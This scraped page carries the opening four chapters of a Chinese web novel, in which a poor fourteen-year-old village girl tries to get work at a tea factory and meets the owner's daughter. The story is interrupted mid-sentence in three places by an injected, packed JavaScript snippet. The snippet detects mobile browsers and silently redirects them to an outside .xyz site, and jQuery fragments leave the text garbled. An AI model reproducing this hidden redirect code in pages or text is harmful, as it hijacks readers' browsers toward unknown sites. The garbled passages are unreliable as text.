《小猫要终止合约》 1. 第 1 章 农历二月,刚过惊蛰。 上午最后一堂数学课敲响下课铃,外头雨也停了。从窗口望出去,对面山上白茫茫一片,水汽笼罩着,山脊上几个支起来的铁塔只露出个银灰的塔尖,看着又湿又冷。 周灵蕴最后一道大题还没解完,老师刚走出教室门,她笔一扔,课桌抽屉里摸出个黄色搪瓷盆,兔子似窜出去。 光明学校是九年一贯制形式的完全学校,小学和初中合并在一起,周灵蕴每天来回走十五里山路上学,今年初三,走了快九年。 刚上小学那阵,学校没食堂,学生都是自己带干粮,这几年,奶奶说政策好了,带个盆带双筷子就行,上学不为别的,为中午那盆饭也值。 吃饭是大事,半盆饭,半盆菜,外加两勺汤填得严丝合缝,周灵蕴笑呵呵端着盆出来,穿过操场,边吃边往树林里走。 林子里有座坟,坟前砌了石桌石凳,不知是为方便亲人祭拜,还是为方便底下那家伙晚上出来散步纳凉,总之现在让周灵蕴占了。 石凳有水,周灵蕴直接踩上去,饭盆结结实实,桌上“笃”一声闷响。 同桌万玉过了两分钟才到,她拿的是个不锈钢长形饭盒,周灵蕴以前也用那个,太小,五年级就不够吃了。 那饭盒后来被奶奶拿去装针筒,家里盛猪油用的搪瓷盆换给她。 万玉刚把饭盒放桌上,还没来得及蹲,周灵蕴“哎呦”一声,缩着脖子抬头望。 “你吓我一跳。”万玉探头瞅一眼,她盆里的饭就下去一半了,“水滴你脖子啦?你还是那么神速。”说着把饭盒里的肥肉挑给她。 周灵蕴揪起后衣领胡乱擦两下,“你为啥不吃肥肉啊,肥肉多香。” “不喜欢吃。”万玉笑笑,“给你吃还不好啊,你多吃,你那么瘦。” 周灵蕴特别能吃,但她还是很瘦,来回十五里山路只是直线距离,爬坡上坎过河,她常常是天不亮起床,天黑透才回家,写完作业还得帮着奶奶熬猪食。 初三要升学了,光明学校有学生二百余,初中部四十多个,初三的十五个,周灵蕴和万玉是其中之二。 万玉问她什么打算,“我妈说,念完就带我去南方打工,进厂做衣服。” “管饭吗?”周灵蕴问。 万玉说管啊,“管吃管住,我妈说管吃管住还有洗衣机,公共的澡堂。” “那挺好。”周灵蕴咬着黄瓜片含糊点头。 “你去吗?”万玉问她,“去让我妈跟你奶奶说一声,顺路捎上。” 周灵蕴摇头,“奶奶身体不好,我每个星期都要给她打针,我走不开。” 至于以后是上学还是打工,她没想好,想起来还有点烦,手揪着衣领使劲儿揉几下,闷闷的好不舒服。 天还是冷,山里更冷,身上那件鹅黄色的旧毛衣据说是妈妈留下来的,洗了又洗,毛线都洗涩了不暖和了,却是周灵蕴为数不多的几件体面衣裳。 周灵蕴她妈跟她爸是外头打工认识的,结婚证都没领,奶奶说,招呼都没打一个,生下来刚满月,年前抱回老家,年后拍拍屁股就走了。 三岁那年爸出事,妈回来送骨灰,带了她几个月又出去打工,开始还寄钱,买新衣服,后来是旧衣服,再后来旧衣服也没了。 她们家穷,奶奶说人人都是往外走,好不容易走出去了,谁还回来?别的没说什么,养猪种地,把她拉扯大。 奶奶没说过妈妈什么坏话,倒是隔壁婶子说得多,周灵蕴心中自有判断,还是想妈妈,想长大了出去找她,也给她买衣服。 吃完饭暖和起来,周灵蕴洗碗回教室,趴课桌上睡觉。她半梦半醒的,睡也睡不踏实,胃撑得难受。 为给家里省钱,她早上不吃东西,饿着肚子赶路,到学校中午才吃,放学回家倒是有奶奶盯着,可她老借口说肚子胀,不怎么吃。 在撑死和饿死的边缘来回横跳,周灵蕴总是胃痛。 不睡了,她起来在操场上溜达,天上有了点白亮的太阳晃晃,水泥地湿一块干一块,风吹进领口,些许春天的暖意。 “好嘞!”周灵蕴高兴起来。太阳出来,回家的路会好走很多。 下午体育课,老师安排大家上山挖野菜,丰富明天的伙食,周灵蕴又拿着她的盆出去。 挖野菜她有经验,土质酥松的地方容易有折耳根,那玩意一长一大片,全身可食用,凉拌炒菜都不错。 还有荠菜啦,灰灰菜啦,马齿苋啦,野豌豆啦…… 周灵蕴最喜欢荠菜,炒鸡蛋可香了,还很可爱,开花以后结的种子是爱心形状的,她掐了好些夹在书里。 山里人靠山吃山,大部分野菜她都认得,搪瓷盆里的没全部上交食堂,留了一半,想带回家给奶奶。 光明学校下午四点放学。春日多雨,路上泥泞湿滑,好些学生住在山里,回去要走很长一段山路,学校也是担心孩子们的安危,一年级刚入学的小娃娃没比个冬瓜大出多少。 周灵蕴倒是习惯了,她腿长走得快,也不跟谁结伴游山玩水,放学背上书包直接往家赶。 奶奶总是腰疼,今天要给奶奶打针,周灵蕴到家先烧水,针筒装在她小时候用的那个铁饭盒里,开水消毒晾干,安瓿瓶拿在手里,弹两下布包着“啪”一声就掰开。 她很熟练,手法跟镇上小诊所里学的,奶奶年纪大了腿脚不好,那么远的山路来回吃不消。 屋里黑,奶奶趴在院子里的宽板凳上,小老太太瘦精精的,头发花白,藏蓝色的确良工装洗到发白,袖口一圈碎花补丁,针脚细密,闭着眼睛哎呦哎呦直喊疼。 “哦哦,不痛不痛。”周灵蕴还得哄着。 老人家皮肤皱皱的,像集市上几块钱一斤称来的草纸,上头好些针眼,周围一圈淤青。 周灵蕴本能感觉到打针不是长久之计,可她也没什么好办法,打完针奶奶至少没那么疼。 酒精棉按了会儿,止住血,周灵蕴歪头,奶奶不哼了,睁开眼,冲她一笑,也会不好意思。 “我们都是女生啊,没关系的。”周灵蕴给奶奶理理衣裳。 “是嘛,女生。”奶奶学她说话,爬起来歪坐着,刚打完针还疼。 “我给你炒鸡蛋。”周灵蕴笑嘻嘻献宝,说书包里一大兜子荠菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723190|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “又去挖野菜了。”奶奶拉着她的手。 周灵蕴有点不好意思。学校虽是不大,但每年都有考上市重点高中的,免去学杂费,还有各种补助和奖金。 偏偏她学习一般。体育课挖野菜尖子生都是不去的,争分夺秒写卷子,就她跑得最快。 奶奶的手像树上盘的野藤,瘦长干瘪,常年劳作,关节肿大,甲床坚硬黑黄,气力惊人,周灵蕴被捏得有点疼。 她的成绩可以考县里的高中,进了寄宿学校关上门好好学个几年,还是有机会上大学的。 村委会想办法找了几个资助人,说可以供到她高中毕业,上大学申请助学贷款就行了。周灵蕴却放弃,书记找上门来,她把奶奶关屋里,板凳门前一横,说再逼她就跳悬崖。 “你长大了,我管不了你。”奶奶低头看她的手,密密麻麻的倒欠皮,指缝里还有绿色的草浆。 周灵蕴抽出手,把针筒再一次煮沸烫洗后收起来,进厨房烧火做饭。 四面墙叫柴烟熏得漆黑,除此之外四处倒是打扫得很干净,窗口挂了些大蒜头和红辣子。 家里吃饭不成问题,养了鸡和猪,逢年过节书记还送米面油,只是周灵蕴节省习惯了,用油少少,吃得也少少。 饭桌上照例是一番推推搡搡,奶奶说自己年纪大了消耗少,周灵蕴说自己在学校撑得肚皮要爆炸。 饭后,趁着天还没黑,周灵蕴背着背篓要去打猪草,奶奶把她拉回来,按在板凳上。 她们这地方前前后后几十片都是茶山,家里好几亩地种不完,也租给别人种茶叶,奶奶听说山下新开了个茶厂,搞什么非遗项目,正在招学徒。 “你不想上学,学个技术嘛也是好的,有技术以后走到哪里都饿不了。”奶奶想带她去山下茶厂面试。 周灵蕴嘴上一直嚷嚷说不想上学,要打工赚钱,现在机会来了,心里竟有点舍不得。 “那管吃管住吧?”她快速挺了下身,到底是个孩子,话音里立即有了些哽咽,“万玉说南方做衣服的厂都是管吃管住的,还有洗衣机和公共澡堂。” “有,啥都有。”奶奶都替她打听好了。 茶厂离得不远,管吃管住有洗衣机,能学技术,以后当师傅,前途大大有,周末还能回家看奶奶,给奶奶打针。 周灵蕴背着背篓爬到半山腰,树底下坐,不知道谁家大黄牛天快黑了还不来牵,卧在一边嚼草,田野中一股新鲜的热烘烘的牛粪味儿。 “吃吃吃,你就知道吃!”周灵蕴从大黄牛身边走过,嘴不闲着,训它。 大黄牛很无辜,“哞”一声,清澈的大眼睛把她瞅着。 周灵蕴换了处干净地方,抱膝坐在田坎,看山下那间小小的黑瓦房,土土的,旧旧的,风再大些似乎就能吹倒。 别家小孩去外地打工回来,都给家里盖了新房子,就她们家,还是几十年前泥糊的瓦房。 不知道什么时候哭得满脸湿漉漉,周灵蕴横臂抹了把眼泪。 “我高兴。”她劝自己。 就要去茶厂学技术了,以后当师傅,给奶奶盖大房子。 2. 第 2 章 前面堵上了。 姜悯点了根烟,手搭在车窗外。细长的女士烟,过滤嘴藏了颗柑橘爆珠,把筛滤后清凉而辛辣的烟雾送入口鼻,肺里走一圈,叹出去,沉甸甸的。 烟劲不大,好在她瘾也不大,只在开长途的时候用来提神,比咖啡简便,免去到处找卫生间的狼狈。 “当你自己家呢。”车窗外有人说了句。 姜悯一愣,手缩回来,烟灰掉在大腿,她胡乱拍几下,黑色牛仔裤上白灰越蹭越多。 抬头望,外头是个年轻姑娘,骑电瓶车,估计闻一路二手烟了。 视线相触的瞬间,对面显然也没预测到她的性别,恼怒厌烦微妙转换为惊讶。 “不好意思。”姜悯掐了烟,顺手塞进外套口袋。 “吸烟有害健康。”外头那姑娘找补,见她认错态度好。 姜悯道谢,正好有交警过来执勤,她关闭车窗之前提醒了句——“你没戴头盔。” 那姑娘果然被罚,一声哀嚎,姜悯忍不住勾起嘴角,前面拐了个弯。 早春天气,姜悯穿一身利索的皮衣,里头米白色针织内搭妥帖包裹长颈,她身上干干净净没什么首饰,为方便开车,头发也只是随意绑个低马尾,没化妆,眼下淡淡青黑,鼻梁左侧一颗小痣。 关上窗没一会儿,姜悯闻到股臭,揪起衣领没找到气味来源,皱着眉琢磨半天,想起后座那包臭豆腐。 她妈点名要吃的,她下了高速专程到县城菜市场买。出县城到茶厂也就两三个小时车程,姜悯换气,又喷了点香水盖,忍着。 这边空气好,风景也好,这趟她打算多住几天。 今年春天来得早,才刚过惊蛰山上就能看见绿,路过一片山坡,坡上大片的白花,像盖了层雪,姜悯满眼惊艳。 路上没什么车了,姜悯发语音问她妈,“那什么花,白的,一大片。” 她妈网上存了些稀奇古怪的表情包,丢来一张“无图言粪”的扔大便简笔画小人,意思就是你没图说个屎。 “过了。”姜悯顿了顿补充,“在开车。” 还是表情包——“吃屎吧你。” “屎在路上。”姜悯回。 茶山养活了不少人,这一路,大厂不少,小作坊更数不胜数,她们家也是刚试水,除传统机械和抹茶生产,另请了几位老师傅当门面,贴个非遗标签,卖手工绿茶。 车还没进厂,等保安放行,姜悯看见路边靠墙蹲了两个人,一老一小,老的那个瘦精精干巴巴,小的细长条黑黢黢,叽里咕噜正说话。 姜悯扫了眼,没多管,开车进去。 周灵蕴抠着自己帆布鞋的鞋带,扭头看那车牌号,地理课她背过简称,大城市来的,是茶厂的老板吗? 奶奶一大早就牵着她下山,出门前她换了身衣裳,蓝色毛衣,没黄的那个厚,但是更新,只是牛仔裤有点短了,蹲下来缩到小腿,露出里面袜子包住的粉红色秋裤。 鞋是过年那阵刚卖了猪在集上买的,好看但磨脚,走半天里头袜子可能已经破了,大脚趾下面那块骨头动一下就疼得锥心。 周灵蕴没吃饭,又冷又疼又饿,可这些都不是最让人难受的。 奶奶合掌作揖求了半天,才让保安放她们进茶厂,到了办公大楼,好不容易打听到负责招工的领导,人家却不要她。 说她太小了。 怎么会呢,万玉比她还小半岁,她妈都能安排她上完初中进厂打工,说里头都是跟她一般大的姑娘。 十四岁,还小呢,不小了。 “小,太小了,未成年,怎么敢要。” 姜悯刚进办公室就听见里头人说。茶厂生意是家里两位长辈操持,她就去年夏天来住了半个月,避暑。门前一站,里头人反应了会儿才前后起身跟她打招呼。 “说什么呢。”姜悯落座。 负责人事的老曹捧着茶杯走过来,“一个老太太带着她家小姑娘,说想学制茶,当学徒。我看模样长得挺清秀的,是个能静下心踏实学东西的,可我一问,怎么着?才十四岁,初中都没毕业。未成年啊,怎么敢要。” 有人给她倒水,喊“姜总”,姜悯快速道声谢,“门口那两个?” 老曹一愣,“还没走呢?” 他样子苦恼得很,“我都说了不行,让她先回去念书,想学制茶没问题,长大些再来,位置给她保留,可那老太太又是下跪又是磕头,这不折我的寿?” 姜悯皱眉,“磕头?” “可不。”老曹放下茶杯,一摊巴掌,“我都恨不得给她们跪下。” “好了你少说两句,人家一老一小挺不容易的。”旁边人出声制止。 “她一定要进茶厂吗?”姜悯费解。 我一定要进茶厂吗?周灵蕴也是这么问奶奶的。 奶奶额头的灰擦去了,那声声闷响胸腔里仍来回不止,周灵蕴心口绞痛,“我可以去镇上随便找个什么活儿干,理发店也行,我同学有在理发店上班的。” “那都是些不正经的人干的!”奶奶痛心她的自甘堕落,“你敢不学好,啊?我平时怎么教你的,你才多大就不学好了!” “她们没不正经,她们就是给人洗头,洗够日子就能学剪头,人人都要理发的嘛,怎么就不正经了。” 周灵蕴说谁谁表姐,还有谁谁堂弟,都在理发店上班,还赚钱买了手机。 “头发染得五颜六色叫正经?整天跟一帮小流氓混在一起,叫正经,你想玩手机啊。” 奶奶点头,扶着墙一瘸一拐,“原来你是想玩手机了。” 周灵蕴“哈”一声,跺脚,“我哪里想玩手机啊,我只是说她们赚钱了,我肯定不会买手机的,我都攒着以后盖房子。” “谁稀罕。”奶奶自顾自往前走,说现在那些水泥房子未必就有以前的泥巴房子好。 她已经是黄土埋到脖子的人了,压根儿就没想过住什么新房子,只是发愁,百年以后她的小孙女该怎么办呢。 爹死了,妈跑了,到时她孤儿一个,怎么办呢? 眼泪横布在面颊苍老的褶皱,像河流在赭红的山谷穿行,万古不磨,推食解衣的眷爱。 “让你好好读书,你不读,书记都说了,人家那什么,肯资助的嘛,你就是不听。现在你知道了,想去尽管去吧,你去试试,没有十八岁去哪儿都没人要。” “天下那么大,又不是只有一个茶厂,他们不要就算,你还给人磕头,随便给人磕头,都不要自尊了。” 周灵蕴说着上前去扶,奶奶诧异回头,不可置信地看着她。 “我是为了谁?”奶奶一下就爆发了,指着自己鼻尖,“是我愿意磕头?你还讲究起自尊来了,你好好上学,将来大学毕业,有了体面的工作,靠自己双手劳动吃饭,堂堂正正做人,那才叫有自尊,你懂什么叫自尊?” 那番话着实伤了老太太的心,她倚着墙,慢慢蹲到地上,“奶奶丢了你的面子了。” 周灵蕴终于忍不住嚎啕大哭。 姜悯不是故意偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723191|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听别人说话,可这青天白日的,大马路上,实在避无可避。 茶厂完全有拒绝的权利,这没什么好说,不是够惨,够可怜,哭得够响就能横行天下。 只是…… 就这么一走了之,是不是显得太冷漠? 姜悯靠边停车,拉开车门走下去,那女孩屈膝半跪在地,背对着她,单薄的身体像一片颤抖的秋叶,她轻轻拍了拍她的肩,“别哭了。” 周灵蕴回头,下巴两颗晶莹的泪珠晃落。 姜悯看到她的脸,冷不丁,尘封而遥远的记忆击中,她好像被刺了下,心脏本能一缩,随即迷惘,似乎那片眼泪是糊在她的脸上,短暂视物不清。 手背贴脸,蹭去冰凉的湿漉,周灵蕴往旁边让了让,回头,又扶着奶奶往旁边让了让。她瘦小的身体紧贴着茶厂围墙,几乎快变成墙上手绘的采茶姑娘,生怕自己挡了别人的道。 人让车理所应当,人那么小,车那么大,尽管这条马路是那么那么的宽。 姜悯直起腰,手撑额,闭眼。她一句话说不出来。 还有什么事情?周灵蕴偏头看眼车牌号,才反应过来,弯腰说声“对不起”,搀着奶奶走到马路对面去。 这下好了吧,周灵蕴站在路边,可怜巴巴看着姜悯。 没什么解释的必要。半晌,姜悯缓过劲儿回到车上。 她们家在茶园附近山上盖了栋房子,她开车过去,再次经过那对祖孙。 姜悯踩了脚刹车。 周灵蕴把奶奶护在身后,满脸视死如归。 血缘之外,天下竟有如此相像的两个人。姜悯张了张嘴,那个名字几乎脱口而出。 幸好没有。“你几岁。”她只能没话找话。 “十,五岁。”周灵蕴卡了下。 “不是十四?”姜悯皱眉。 “虚岁十五。”周灵蕴脸蛋染上两朵粉红。 姜悯沉默,注视着她。 “你是茶厂的老板吗?”周灵蕴鼓足勇气问道。 姜悯升起车窗,挡住了那张脸,一脚油门绝尘而去。 车停在楼下花园,她摸出根烟叼在嘴里,没点,想起路上看见的那片雪似的白花。同样的不知名,同样的惊艳和震撼。 家里没人,只有个煮饭的阿姨坐在沙发上看电视,早听说她要来,并不惊讶,起身笑着打招呼,问她要不要吃东西。 姜悯摇头,回房洗了个澡,倒头就睡。她凌晨三点出发,开了七八个小时,累极。 她睡了三个小时,期间怪梦连连,几次挣扎着醒来,胸口却沉甸甸,感觉有个小人正坐在她怀里哭,她莫名其妙,努力睁开眼,发现竟然是路上遇见的那个小孩。 那小孩一面哭,一面冲人嚷嚷,“我真有十五,虚岁十五。” 姜悯猛地坐起,手按在心口,耳朵里全是自己剧烈的心跳声,许久才平静下来。 什么鬼?她满脑袋只有这句。 遮光帘漏进一线白亮,门把手无声在动,姜悯抬头,阿姨门缝里鬼鬼祟祟露出只眼睛。 “干嘛?”姜悯真纳闷,今天到底怎么了。 “我想看看你醒没醒。”阿姨自己也觉得好笑,“嘿嘿”两声,“楼下来了个小孩,大姐大哥都不在,我也不认识,八成是来找你的。” 姜悯沉了口气,披衣下床,走出房间,落地窗前望出去。 那小孩蹲在花圃边,瘦不伶仃猫崽子似的,正抠自己的鞋带,缩水的蓝色毛衣下面一截手腕子冻得青白。 3. 第 3 章 早春时节,山里晌午以后才能稍微看见点太阳光,躲在云后,懒洋洋发着亮,像水里一块圆圆的冰,伸手捞一把,还是冷的。 到家,周灵蕴把奶奶搀回屋,端个小板凳坐门口,鞋脱下来。 她脚磨烂了,袜子也破了,她找来针线把破的地方缝起来,穿着去烧火煮饭,那块小疙瘩还是硌着她的脚,伤口处来来回回。 血和透明的组织液把袜子黏在肉上,她龇牙咧嘴揭下来,心想袜子应该调过来穿的,那样袜子上的疙瘩就换到小脚趾那边去了,不会碰到破皮的地方。 好多事,总得哭过痛过才能明白。 奶奶生她的气,床上背对她躺着,不肯跟她说话,周灵蕴坐在床边,低头闷闷揪着手上的倒欠皮。 屋里黑黑的,还弥漫着一股猪油鸡蛋饭的味道,她右上往下那么撕,好像不觉得痛,血珠滚出来,把手指塞进嘴巴里吸。 半天,不服气呛了一句,“还不是你让我去的,那人家不要嘛,我有什么办法?” 奶奶仍是侧躺着,扭头看她,“我让你去你就去,让你好好读书你咋不听……” 后面还有老长一串,周灵蕴两根手指塞进耳朵,“啦啦啦,啦啦啦,我是卖报的小行家——” 犟得很。 奶奶用力瞪着她,“你自己的命运自己拿主意,以后好的歹的都是你,吃苦是你,享福也是你,你不听嘛,你且看嘛。” 周灵蕴立即回头,手按在奶奶像把瘦柴窄窄细细的肩,“那你呢?我就不要你啦?去上学了就不要你了哦!” “我要死的嘛,还能活多久的嘛?你读过书的自己算算嘛。”肩一拧,头一偏,身体在床板用力一挺,奶奶跟她说得烦了,“管你。” “一天就死死死。”周灵蕴也烦了,“死了再说!” 房子静下来,外面风在吹,满山的树哗啦啦响,噪鹃的声音听起来像猫在外头喊门,又像小孩到处找妈妈,伤心,着急。 等到奶奶睡着,周灵蕴给她掖掖被角,走出房子一瘸一拐下了山。 那个外地老板长得好白,看着心也好,她都跟她说话了,问她几岁,她想再去求求她。 姜悯穿一套灰紫色真丝睡衣,外披长款米白针织,左右一拢,弯腰坐在庭院藤椅,手机放在面前的圆桌上。 她头发很长,快过腰,没烫没染,日光下呈现一种温暖的板栗色,带着天然蓬松的大卷,看起来很香。 周灵蕴站在桌对面,梗着脖子,尽力想表现出自信,却还是因为寒冷而微微含胸,脚趾在鞋里扣紧。 “老板好。”她直接给人鞠了一躬。也是个窝里横,在家耀武扬威的,出来就变成小鹌鹑。 姜悯想起几个小时前茶厂门口她带着哭腔的那句“自尊”,小孩倒是挺能屈能伸的,这是调头回来求她? “阿姨,帮我煮一壶苹果茶。”姜悯冲屋里喊,回头,刻意放软了声调,“找我有事?” 周灵蕴低头抠手指,还没想好怎么说。 “请坐。”姜悯快速打了个手势。 回头,慢慢扯来藤编椅,周灵蕴坐也坐得小心,半个屁股悬空。 姜悯没什么跟小孩相处的经验,过年家族聚餐,满屋子亲戚小孩鬼喊鬼叫,她只想把他们按进浴缸里淹死。 相比,对面的女孩过于安静了。 “你叫什么名字。”年龄差距摆在那,姜悯更为从容。 “我叫周灵蕴,周是周全的周,灵是灵感的灵,蕴是上面草字头,下面左边一个绞丝旁,右边加一个温暖的温的右半边,也读作温。” 说完顿了半秒,补充,“我奶奶说,蕴是积累和深奥的意思。” 非常详细了。 姜悯点头,“很好听的名字,寓意也好。” 周灵蕴温润的黑眼睛静静地看着她。 姜悯半天才反应起来,这是等着她交换姓名呢。 “我姓姜,生姜的姜,悯是……” 她本能觉得“怜悯”这个词不太好,转念想说“悲悯”,也不大合适,干脆学她,“一个心字旁?应该是竖心旁吧,右边一个门,门里一个文字的文。” 周灵蕴手心划拉几下,“爱悯的悯。” “哦,嗯——”姜悯再次点头。 “慈悲,爱悯之情。”周灵蕴自己在那嘀咕。 苹果茶端上桌,阿姨给她倒了大半杯,周灵蕴惶恐,双手虚空半举,连声点头说谢,阿姨又夹了些苹果块放进杯里,“喝点热的暖暖。” 周灵蕴双手端起瓷杯,直瞄对面,姜悯动了她才敢动。 她歪头,觉得那杯子上的花纹精致好看,浅抿一口,里头红褐的茶液香甜醇厚,她脸上是那种小孩对新事物天然的好奇和喜悦,随即一口气喝干。 姜悯那句“小心烫”还没来得及。 杯托上配了把舀东西的小勺,周灵蕴捏起来把杯底的苹果块吃了。 姜悯一直在看她,说“你自己倒”,周灵蕴摇头,姜悯放下茶杯,“怎么还得我帮你?” 周灵蕴吓了一跳,赶紧学着阿姨的样子给自己续杯。姜悯挑眉。 两杯苹果茶下肚,身体暖和起来,周灵蕴舒展开,屁股往里挪挪,终于坐踏实了,好奇东张西望。 姜悯没催,但也找不到更多的话题了,开始无所事事刷手机。 周灵蕴胆子大了些,视线扫过她背后的白云青山,几度飘飘转转,最后回落在她的脸,眼神简单直白。 “姜老板,你好好看。” 姜悯抬头瞄了眼。她跟人说话的时候也习惯看着人的眼睛,但那绝不代表真诚,而是一种居高临下的审视,极具压迫感。 合作伙伴也好,竞争对手也好,下属更甚。 却不想今日被人抢占先机,她竟不敢对视。 姜悯打开手机摄像头,屏幕里看。 “你还很白。”周灵蕴低头看自己,手腕和手背色差极大。“好像鬼哦!”她说自己,也许是冷,那皮下青红交织的血管纹路,略显狰狞可怖。 姜悯叫阿姨拿了条毛毯过来,周灵蕴完全没想到那是给她的,毛毯送到面前又吓一跳,“我不要我不要!” “披上披上,瞧你冻得。”阿姨用毛毯把她裹成粽子。 屏幕里的周灵蕴椅上呆坐几秒,又一阵东瞄西瞄,以为没人在看她了,把手伸出来,摸摸毛毯,似乎十分惊奇那质感,又使劲儿摸了摸,摊平手掌认真感受,指缝里夹,最后“嗯”一声,带着笑音的,脸颊在毯上蹭蹭。 “好暖和呀!”她抬头,笑容完全绽开。 呼吸微滞,姜悯匆忙熄屏。 她按住藤椅扶手,稍挺背,冷着脸听对面那小孩甜丝丝说“谢谢姜老板。” 周灵蕴不想让自己显得那么功利,也是担心被拒绝,或者她内心其实还是渴望继续上学。总之,她没提,眼看时间差不多,她起身,“我把茶壶和杯子洗了吧。” 姜悯奇怪,周灵蕴回头把毛毯叠得整整齐齐,手指着,“我喝了这个茶,我去洗杯子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723192|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不用。”姜悯拒绝。 她考虑要不要把人留下来吃晚饭,等家里人回来帮她看看,到底是不是错觉。 周灵蕴坚持要洗,姜悯被她的小心翼翼弄得有点烦。那个人从来不会这样。 “这套茶具很贵。”姜悯手机揣回衣兜。 “咔哒”一声,陶瓷杯与杯托碰撞出脆响。 周灵蕴讪讪缩回手,“对不起。” “你不要让我为难。” 周灵蕴听出另外一层意思,肉眼可见变得低落,消沉,欢乐消失得那么迅速而彻底,清润的黑眸被浓浓的悲伤覆盖。 “对不起,打扰了。”她抬起藤编椅放回原位,转身慢慢走下台阶。 姜悯起先莫名,直到那个小小的,一高一低的人影即将消失在视线尽头,她才恍然起身追至露台围栏边缘。 “周灵蕴!” 铁门前,周灵蕴回头,一脸老实巴交。 “啊?” “你,明天还来找我玩吗?”姜悯不知怎么就冒出这句。 希望重燃,笑容再次绽开,周灵蕴用力点头,“好啊!” “那你回去注意安全。”姜悯松了口气,还是很好哄的嘛。 铁门前,周灵蕴转身挥手,“姜老板再见!” 再见。姜悯无声答。 晚饭前,姜悯给她妈打了个电话,问什么时候回来,那边在温泉山庄,起兴了,想再多待几天。 “臭豆腐怎么办?”姜悯坐在餐厅,老远就闻见那味儿,“专门去县城给你买,买了又不回来吃。” “再放放,现在天气冷,臭得慢,我爱吃臭的。”那边说。 “还放?”姜悯不自觉拔高声调,“已经很臭了,很臭!能不能快点。” 她妈也是奇怪,“嫌臭就包严实点,给我包严实点捂着,真是,又没放你床头柜上,管天管地还管人家臭豆腐……”话没说完挂了。 也好,姜悯坐在那想,不然肯定被骂神经。八成多看几眼就不觉得像了。 晚饭阿姨陪着,姜悯吩咐她明天多做两道肉菜,“那小孩来家里,看着瘦,太瘦了,给她补补营养。” 阿姨觉得挺好玩的,“才刚到,这么快就交上新朋友了,怎么认识的呀?” 姜悯低头吃饭,没应。 下午补了一觉,晚上洗漱完还不觉困,姜悯床上抱着电脑处理工作,直到凌晨两点。 她熄了灯倒下去,盯着黑漆漆的天花板,困乏到极致,却翻来覆去睡不着,脑子里翻来覆去是白天那小孩的脸。 双手捧着茶杯看过来,一双眼湿湿热热。 面目是模糊的,有些记不清了,因此胸口像坠了块大石头,沉闷。 那张脸不应该记不清的。 睡前忘了拉窗帘,早上醒来,外头天还是郁抑的铅蓝,姜悯睁开眼,阿姨几乎是跟她脸对着脸。 她极为不悦皱眉,“你又干什么?” “先说好,我可不是没事找事,你自己跟人约好的。”阿姨按开台灯,“起吧,我还让你多睡了二十分钟呢,等你半天了。” 姜悯莫名其妙,“我跟谁约好了。” “昨天那小孩,你忘了?”阿姨走到门口回头说。 姜悯完全没印象。直到她披头散发飘至客厅,看见门口站的那人。 “是你啊——”姜悯抬头望向钟表,才六点半! 担心鞋子弄脏地毯,周灵蕴不肯进屋,倚门站着,冲她勾手指,“出来玩。” 4. 第 4 章 这是她们二十四小时内第三次见面,姜悯注意到,周灵蕴又换了身衣裳。 今天是件灯芯绒材质的玫红色夹袄,看起来比昨天那两件单毛衣暖和得多,代表她更放松了吗? “进屋坐。”姜悯喊她。 “我就在外头等你。”周灵蕴摇头。 姜悯不是跟她商量,“我还得洗漱吃饭,我如果下午才出门,你就一直站到下午吗?”她发现跟这小孩说话不能太客气。 “你下午才出门啊?”周灵蕴抓抓脸蛋,回头望一圈,“那我坐着等你,外边有椅子。” 真是油盐不进。 “那你回去吧。”姜悯懒得跟她掰扯,直接进了卫生间。 阿姨从鞋柜里翻出双毛拖,“来换上,别惹姐姐生气,我跟你说,她可爱生气了。” 周灵蕴手揪着门框,十根脚趾在鞋里紧张缩放一阵,依着吩咐,坐到门口换鞋凳。 小女孩讲究干净,只是袜子洗得起了球,还有补丁,样子不大好看。幸好也没人注意,阿姨拿了鞋又转身去忙别的。 周灵蕴穿着小羊一样毛茸茸的棉拖,踩在雪地一样软的门垫,她四处望,房子里许多黑褐色的木头家具,茶桌,屏风和大块雕花隔断等,覆盖柔润的蜡质光泽,古雅幽致。 她走出几步,猫儿似的,脚步很轻。 阿姨请她到沙发上坐,那沙发是全白的,她回头揪着屁股检查,确定没沾泥才贴着边缘慢慢坐下去。 “吃饭没?想吃啥,我给你做。”阿姨站那说。 周灵蕴拽一下包带,从随身的帆布挎包里摸出个玻璃罐子。是过年买的橘子罐头,瓶身纸标撕了,但盖上印得有字。 那瓶里装了两个煮熟的土豆,她捧着,“我吃这个就行。” “那怎么吃得饱。”阿姨径直走了。 姜悯洗漱完,回房换了身方便外出的运动套装,低调的灰色。 她走到客厅接了杯水,落地窗前小口小口地喝,周灵蕴视线被吸引,从她出现,到她喝完水来到面前。 